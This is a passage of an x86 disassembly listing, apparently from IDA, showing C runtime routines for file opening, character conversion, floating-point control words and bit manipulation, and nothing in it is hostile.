loc_423986:				; CODE XREF: sub_42393B+38j
					; sub_42393B+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_4239BE
		dec	eax
		jz	short loc_4239B5
		dec	eax
		jz	short loc_4239AC


loc_423997:				; CODE XREF: sub_42393B+9Fj
					; sub_42393B+E8j ...
		mov	dword_4D9714, 16h
		mov	dword_4D9718, ebx
		jmp	loc_423BD1
; ---------------------------------------------------------------------------


loc_4239AC:				; CODE XREF: sub_42393B+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_4239C5
; ---------------------------------------------------------------------------


loc_4239B5:				; CODE XREF: sub_42393B+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_4239C5
; ---------------------------------------------------------------------------


loc_4239BE:				; CODE XREF: sub_42393B+54j
		mov	[ebp+var_C], 80000000h


loc_4239C5:				; CODE XREF: sub_42393B+78j
					; sub_42393B+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_4239F3
		cmp	eax, 20h
		jz	short loc_4239EA
		cmp	eax, 30h
		jz	short loc_4239E1
		cmp	eax, 40h
		jnz	short loc_423997
		mov	[ebp+var_10], esi
		jmp	short loc_4239F6
; ---------------------------------------------------------------------------


loc_4239E1:				; CODE XREF: sub_42393B+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_4239F6
; ---------------------------------------------------------------------------


loc_4239EA:				; CODE XREF: sub_42393B+95j
		mov	[ebp+var_10], 1
		jmp	short loc_4239F6
; ---------------------------------------------------------------------------


loc_4239F3:				; CODE XREF: sub_42393B+90j
		mov	[ebp+var_10], ebx


loc_4239F6:				; CODE XREF: sub_42393B+A4j
					; sub_42393B+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_423A40
		jz	short loc_423A3B
		cmp	ecx, ebx
		jz	short loc_423A3B
		cmp	ecx, edi
		jz	short loc_423A32
		cmp	ecx, 200h
		jz	short loc_423A59
		cmp	ecx, 300h
		jnz	loc_423997
		mov	[ebp+var_8], 2
		jmp	short loc_423A69
; ---------------------------------------------------------------------------


loc_423A32:				; CODE XREF: sub_42393B+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_423A69
; ---------------------------------------------------------------------------


loc_423A3B:				; CODE XREF: sub_42393B+D0j
					; sub_42393B+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_423A69
; ---------------------------------------------------------------------------


loc_423A40:				; CODE XREF: sub_42393B+CEj
		cmp	ecx, 500h
		jz	short loc_423A62
		cmp	ecx, 600h
		jz	short loc_423A59
		cmp	ecx, edx
		jz	short loc_423A62
		jmp	loc_423997
; ---------------------------------------------------------------------------


loc_423A59:				; CODE XREF: sub_42393B+E0j
					; sub_42393B+113j
		mov	[ebp+var_8], 5
		jmp	short loc_423A69
; ---------------------------------------------------------------------------


loc_423A62:				; CODE XREF: sub_42393B+10Bj
					; sub_42393B+117j
		mov	[ebp+var_8], 1


loc_423A69:				; CODE XREF: sub_42393B+F5j
					; sub_42393B+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_423A88
		mov	ecx, dword_4D971C
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_423A88
		push	1
		pop	esi


loc_423A88:				; CODE XREF: sub_42393B+138j
					; sub_42393B+148j
		test	al, 40h
		jz	short loc_423A96
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_423A96:				; CODE XREF: sub_42393B+14Fj
		test	ah, 10h
		jz	short loc_423A9D
		or	esi, edi


loc_423A9D:				; CODE XREF: sub_42393B+15Ej
		test	al, 20h
		jz	short loc_423AA9
		or	esi, 8000000h
		jmp	short loc_423AB3
; ---------------------------------------------------------------------------


loc_423AA9:				; CODE XREF: sub_42393B+164j
		test	al, 10h
		jz	short loc_423AB3
		or	esi, 10000000h


loc_423AB3:				; CODE XREF: sub_42393B+16Cj
					; sub_42393B+170j
		call	sub_423624
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_423AD4
		and	dword_4D9718, 0
		mov	dword_4D9714, 18h
		jmp	short loc_423B12
; ---------------------------------------------------------------------------


loc_423AD4:				; CODE XREF: sub_42393B+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	near ptr 27107F7h
		nop
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_423B05
		push	esi
		call	near ptr 26106AFh
		nop
		test	eax, eax
		jnz	short loc_423B19
		push	esi
		nop
		call	near ptr 266053Bh


loc_423B05:				; CODE XREF: sub_42393B+1B6j
		nop
		call	near ptr 26807F9h
		push	eax
		call	sub_420314
		pop	ecx


loc_423B12:				; CODE XREF: sub_42393B+197j
		mov	eax, edi
		jmp	loc_423BEF
; ---------------------------------------------------------------------------


loc_423B19:				; CODE XREF: sub_42393B+1C1j
		cmp	eax, 2
		jnz	short loc_423B24
		or	[ebp+var_1], 40h
		jmp	short loc_423B2D
; ---------------------------------------------------------------------------


loc_423B24:				; CODE XREF: sub_42393B+1E1j
		cmp	eax, 3
		jnz	short loc_423B2D
		or	[ebp+var_1], 8


loc_423B2D:				; CODE XREF: sub_42393B+1E7j
					; sub_42393B+1ECj
		push	esi
		push	ebx
		call	sub_4236B9
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DAA60h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_423BD6
		test	al, 80h
		jz	short loc_423BD6
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_423BD6
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_422633
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_423B8B
		cmp	dword_4D9718, 83h
		jz	short loc_423BD6
		jmp	short loc_423BCA
; ---------------------------------------------------------------------------


loc_423B8B:				; CODE XREF: sub_42393B+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F051
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_423BB8
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_423BB8
		push	[ebp+var_10]
		push	ebx
		call	sub_424DE6
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_423BCA


loc_423BB8:				; CODE XREF: sub_42393B+265j
					; sub_42393B+26Bj
		push	0
		push	0
		push	ebx
		call	sub_422633
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_423BD6


loc_423BCA:				; CODE XREF: sub_42393B+24Ej
					; sub_42393B+27Bj
		push	ebx
		call	sub_41E212
		pop	ecx


loc_423BD1:				; CODE XREF: sub_42393B+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423BEF
; ---------------------------------------------------------------------------


loc_423BD6:				; CODE XREF: sub_42393B+221j
					; sub_42393B+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_423BED
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_423BED
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_423BED:				; CODE XREF: sub_42393B+29Fj
					; sub_42393B+2A5j
		mov	eax, ebx


loc_423BEF:				; CODE XREF: sub_42393B+1D9j
					; sub_42393B+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42393B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423BF4	proc near		; CODE XREF: sub_41F44A+5Ep
					; sub_42001D+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C18
		push	offset sub_4233C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4D9904
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_423C63
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427908
		push	esi
		call	near ptr 2600000h
		nop
		test	eax, eax
		jz	short loc_423C41
		mov	eax, esi
		jmp	short loc_423C5E
; ---------------------------------------------------------------------------


loc_423C41:				; CODE XREF: sub_423BF4+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset word_4C91BC
		push	esi
		push	ebx
		nop
		call	near ptr 260082Ah
		test	eax, eax
		jz	loc_423D29
		push	2
		pop	eax


loc_423C5E:				; CODE XREF: sub_423BF4+4Bj
		mov	dword_4D9904, eax


loc_423C63:				; CODE XREF: sub_423BF4+2Fj
		cmp	eax, 2
		jnz	short loc_423C8C
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_423C74
		mov	eax, dword_4D97D0


loc_423C74:				; CODE XREF: sub_423BF4+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 260082Ah
		jmp	loc_423D2B
; ---------------------------------------------------------------------------


loc_423C8C:				; CODE XREF: sub_423BF4+72j
		cmp	eax, 1
		jnz	loc_423D29
		cmp	[ebp+arg_10], ebx
		jnz	short loc_423CA2
		mov	eax, dword_4D97E0
		mov	[ebp+arg_10], eax


loc_423CA2:				; CODE XREF: sub_423BF4+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		nop
		call	near ptr 26F0000h
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_423D29
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C2A0
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41BD10
		add	esp, 0Ch
		jmp	short loc_423CF8
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_423CF8:				; CODE XREF: sub_423BF4+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_423D29
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		nop
		call	near ptr 26F0000h
		cmp	eax, ebx
		jz	short loc_423D29
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		nop
		call	near ptr 2600000h
		jmp	short loc_423D2B
; ---------------------------------------------------------------------------


loc_423D29:				; CODE XREF: sub_423BF4+61j
					; sub_423BF4+9Bj ...
		xor	eax, eax


loc_423D2B:				; CODE XREF: sub_423BF4+93j
					; sub_423BF4+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423BF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_423D3D	proc near		; CODE XREF: sub_41F4BF+61p
					; sub_42037B+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DAB60
		jb	short loc_423D4C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_423D4C:				; CODE XREF: sub_423D3D+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DAA60[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_423D3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423D63	proc near		; CODE XREF: sub_41F5D4+2D4p
					; sub_41F5D4+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_423D6F
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423D6F:				; CODE XREF: sub_423D63+8j
		cmp	dword_4D97D0, 0
		jnz	short loc_423D8A
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_423DBC
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423D8A:				; CODE XREF: sub_423D63+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43A88C
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4D97E0
		call	near ptr 2831071h
		nop
		test	eax, eax
		jz	short loc_423DBC
		cmp	[ebp+arg_0], 0
		jz	short loc_423DC9


loc_423DBC:				; CODE XREF: sub_423D63+1Ej
					; sub_423D63+51j
		mov	dword_4D9714, 2Ah
		or	eax, 0FFFFFFFFh


loc_423DC9:				; CODE XREF: sub_423D63+57j
		pop	ebp
		retn
sub_423D63	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423DCB	proc near		; CODE XREF: sub_420445+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_423DEE
		cmp	[ebp+arg_8], ebx
		jz	short loc_423DEE
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_423DF4
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_423DEE
		mov	[eax], bx


loc_423DEE:				; CODE XREF: sub_423DCB+Cj
					; sub_423DCB+11j ...
		xor	eax, eax


loc_423DF0:				; CODE XREF: sub_423DCB+42j
					; sub_423DCB+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423DF4:				; CODE XREF: sub_423DCB+17j
		cmp	dword_4D97D0, ebx
		jnz	short loc_423E0F
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_423E0A
		movzx	ax, al
		mov	[ecx], ax


loc_423E0A:				; CODE XREF: sub_423DCB+36j
					; sub_423DCB+C0j
		push	1
		pop	eax
		jmp	short loc_423DF0
; ---------------------------------------------------------------------------


loc_423E0F:				; CODE XREF: sub_423DCB+2Fj
		mov	ecx, off_43A680
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_423E6C
		mov	eax, dword_43A88C
		cmp	eax, 1
		jle	short loc_423E53
		cmp	[ebp+arg_8], eax
		jl	short loc_423E5D
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4D97E0
		nop
		call	near ptr 26F0000h
		test	eax, eax
		mov	eax, dword_43A88C
		jnz	short loc_423DF0


loc_423E53:				; CODE XREF: sub_423DCB+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_423E5D
		cmp	[esi+1], bl
		jnz	short loc_423DF0


loc_423E5D:				; CODE XREF: sub_423DCB+61j
					; sub_423DCB+8Bj ...
		mov	dword_4D9714, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_423DF0
; ---------------------------------------------------------------------------


loc_423E6C:				; CODE XREF: sub_423DCB+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4D97E0
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jnz	loc_423E0A
		jmp	short loc_423E5D
sub_423DCB	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_423EA0	proc near		; CODE XREF: sub_420445+797p
					; sub_420445+7E7p
		cmp	cl, 40h
		jnb	short loc_423EBA
		cmp	cl, 20h
		jnb	short loc_423EB0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_423EB0:				; CODE XREF: sub_423EA0+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_423EBA:				; CODE XREF: sub_423EA0+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_423EA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_423EBF	proc near		; CODE XREF: sub_420EBB+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_423F0B
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_423EDD
		test	al, 80h
		jz	short loc_423F0B
		test	al, 2
		jnz	short loc_423F0B


loc_423EDD:				; CODE XREF: sub_423EBF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_423EEA
		push	esi
		call	sub_4238F7
		pop	ecx


loc_423EEA:				; CODE XREF: sub_423EBF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_423EFA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_423F0B
		inc	eax
		mov	[esi], eax


loc_423EFA:				; CODE XREF: sub_423EBF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_423F11
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_423F17
		inc	eax
		mov	[esi], eax


loc_423F0B:				; CODE XREF: sub_423EBF+9j
					; sub_423EBF+18j ...
		or	eax, 0FFFFFFFFh


loc_423F0E:				; CODE XREF: sub_423EBF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_423F11:				; CODE XREF: sub_423EBF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_423F17:				; CODE XREF: sub_423EBF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_423F0E
sub_423EBF	endp


; =============== S U B	R O U T	I N E =======================================



sub_423F2D	proc near		; CODE XREF: sub_4214AB+52p
		xor	eax, eax
		retn
sub_423F2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423F30	proc near		; CODE XREF: sub_423F65+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_423F7B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_42400D
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_423F30	endp


; =============== S U B	R O U T	I N E =======================================



sub_423F65	proc near		; CODE XREF: sub_421797+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_423F30
		pop	ecx
		pop	ecx
		retn
sub_423F65	endp


; =============== S U B	R O U T	I N E =======================================



sub_423F7B	proc near		; CODE XREF: sub_423F30+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_423F8C
		push	10h
		pop	eax


loc_423F8C:				; CODE XREF: sub_423F7B+Cj
		test	bl, 4
		jz	short loc_423F93
		or	al, 8


loc_423F93:				; CODE XREF: sub_423F7B+14j
		test	bl, 8
		jz	short loc_423F9A
		or	al, 4


loc_423F9A:				; CODE XREF: sub_423F7B+1Bj
		test	bl, 10h
		jz	short loc_423FA1
		or	al, 2


loc_423FA1:				; CODE XREF: sub_423F7B+22j
		test	bl, 20h
		jz	short loc_423FA8
		or	al, 1


loc_423FA8:				; CODE XREF: sub_423F7B+29j
		test	bl, 2
		jz	short loc_423FB2
		or	eax, 80000h


loc_423FB2:				; CODE XREF: sub_423F7B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_423FEA
		cmp	edx, 400h
		jz	short loc_423FE7
		cmp	edx, 800h
		jz	short loc_423FE3
		cmp	edx, esi
		jnz	short loc_423FEA
		or	eax, edi
		jmp	short loc_423FEA
; ---------------------------------------------------------------------------


loc_423FE3:				; CODE XREF: sub_423F7B+5Ej
		or	eax, ebp
		jmp	short loc_423FEA
; ---------------------------------------------------------------------------


loc_423FE7:				; CODE XREF: sub_423F7B+56j
		or	ah, 1


loc_423FEA:				; CODE XREF: sub_423F7B+4Ej
					; sub_423F7B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_423FFA
		cmp	ecx, ebp
		jnz	short loc_423FFF
		or	eax, 10000h
		jmp	short loc_423FFF
; ---------------------------------------------------------------------------


loc_423FFA:				; CODE XREF: sub_423F7B+72j
		or	eax, 20000h


loc_423FFF:				; CODE XREF: sub_423F7B+76j
					; sub_423F7B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_42400C
		or	eax, 40000h

locret_42400C:				; CODE XREF: sub_423F7B+8Aj
		retn
sub_423F7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42400D	proc near		; CODE XREF: sub_423F30+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42401D
		push	1
		pop	eax


loc_42401D:				; CODE XREF: sub_42400D+Bj
		test	bl, 8
		jz	short loc_424024
		or	al, 4


loc_424024:				; CODE XREF: sub_42400D+13j
		test	bl, 4
		jz	short loc_42402B
		or	al, 8


loc_42402B:				; CODE XREF: sub_42400D+1Aj
		test	bl, 2
		jz	short loc_424032
		or	al, 10h


loc_424032:				; CODE XREF: sub_42400D+21j
		test	bl, 1
		jz	short loc_424039
		or	al, 20h


loc_424039:				; CODE XREF: sub_42400D+28j
		test	ebx, 80000h
		jz	short loc_424043
		or	al, 2


loc_424043:				; CODE XREF: sub_42400D+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424070
		cmp	ecx, 100h
		jz	short loc_42406D
		cmp	ecx, esi
		jz	short loc_424068
		cmp	ecx, edx
		jnz	short loc_424070
		or	ah, 0Ch
		jmp	short loc_424070
; ---------------------------------------------------------------------------


loc_424068:				; CODE XREF: sub_42400D+50j
		or	ah, 8
		jmp	short loc_424070
; ---------------------------------------------------------------------------


loc_42406D:				; CODE XREF: sub_42400D+4Cj
		or	ah, 4


loc_424070:				; CODE XREF: sub_42400D+44j
					; sub_42400D+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424086
		cmp	ecx, 10000h
		jnz	short loc_424088
		or	eax, esi
		jmp	short loc_424088
; ---------------------------------------------------------------------------


loc_424086:				; CODE XREF: sub_42400D+6Bj
		or	eax, edx


loc_424088:				; CODE XREF: sub_42400D+73j
					; sub_42400D+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424095
		or	ah, 10h

locret_424095:				; CODE XREF: sub_42400D+83j
		retn
sub_42400D	endp


; =============== S U B	R O U T	I N E =======================================



sub_424096	proc near		; CODE XREF: sub_424135+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4240DB
		inc	esi
		cmp	esi, 3
		jge	short loc_4240D6
		lea	eax, [eax+esi*4]


loc_4240C8:				; CODE XREF: sub_424096+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4240DB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4240C8


loc_4240D6:				; CODE XREF: sub_424096+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4240DB:				; CODE XREF: sub_424096+27j
					; sub_424096+35j
		xor	eax, eax
		pop	esi
		retn
sub_424096	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240DF	proc near		; CODE XREF: sub_424135+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_424F2C
		add	esp, 0Ch
		dec	esi
		js	short loc_424131
		lea	edi, [ebx+esi*4]


loc_424118:				; CODE XREF: sub_4240DF+50j
		test	eax, eax
		jz	short loc_424131
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_424F2C
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424118


loc_424131:				; CODE XREF: sub_4240DF+34j
					; sub_4240DF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4240DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424135	proc near		; CODE XREF: sub_424290+81p
					; sub_424290+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424199
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424096
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424196
		push	edi
		push	[ebp+arg_0]
		call	sub_4240DF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_424196:				; CODE XREF: sub_424135+51j
		mov	eax, [ebp+arg_4]


loc_424199:				; CODE XREF: sub_424135+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_4241B9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_4241B9:				; CODE XREF: sub_424135+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424135	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241C1	proc near		; CODE XREF: sub_424290+75p
					; sub_424290+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_4241CF:				; CODE XREF: sub_4241C1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_4241CF
		pop	esi
		retn
sub_4241C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241DC	proc near		; CODE XREF: sub_424290+5Fp
					; sub_424290+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4241DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241E8	proc near		; CODE XREF: sub_424290+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


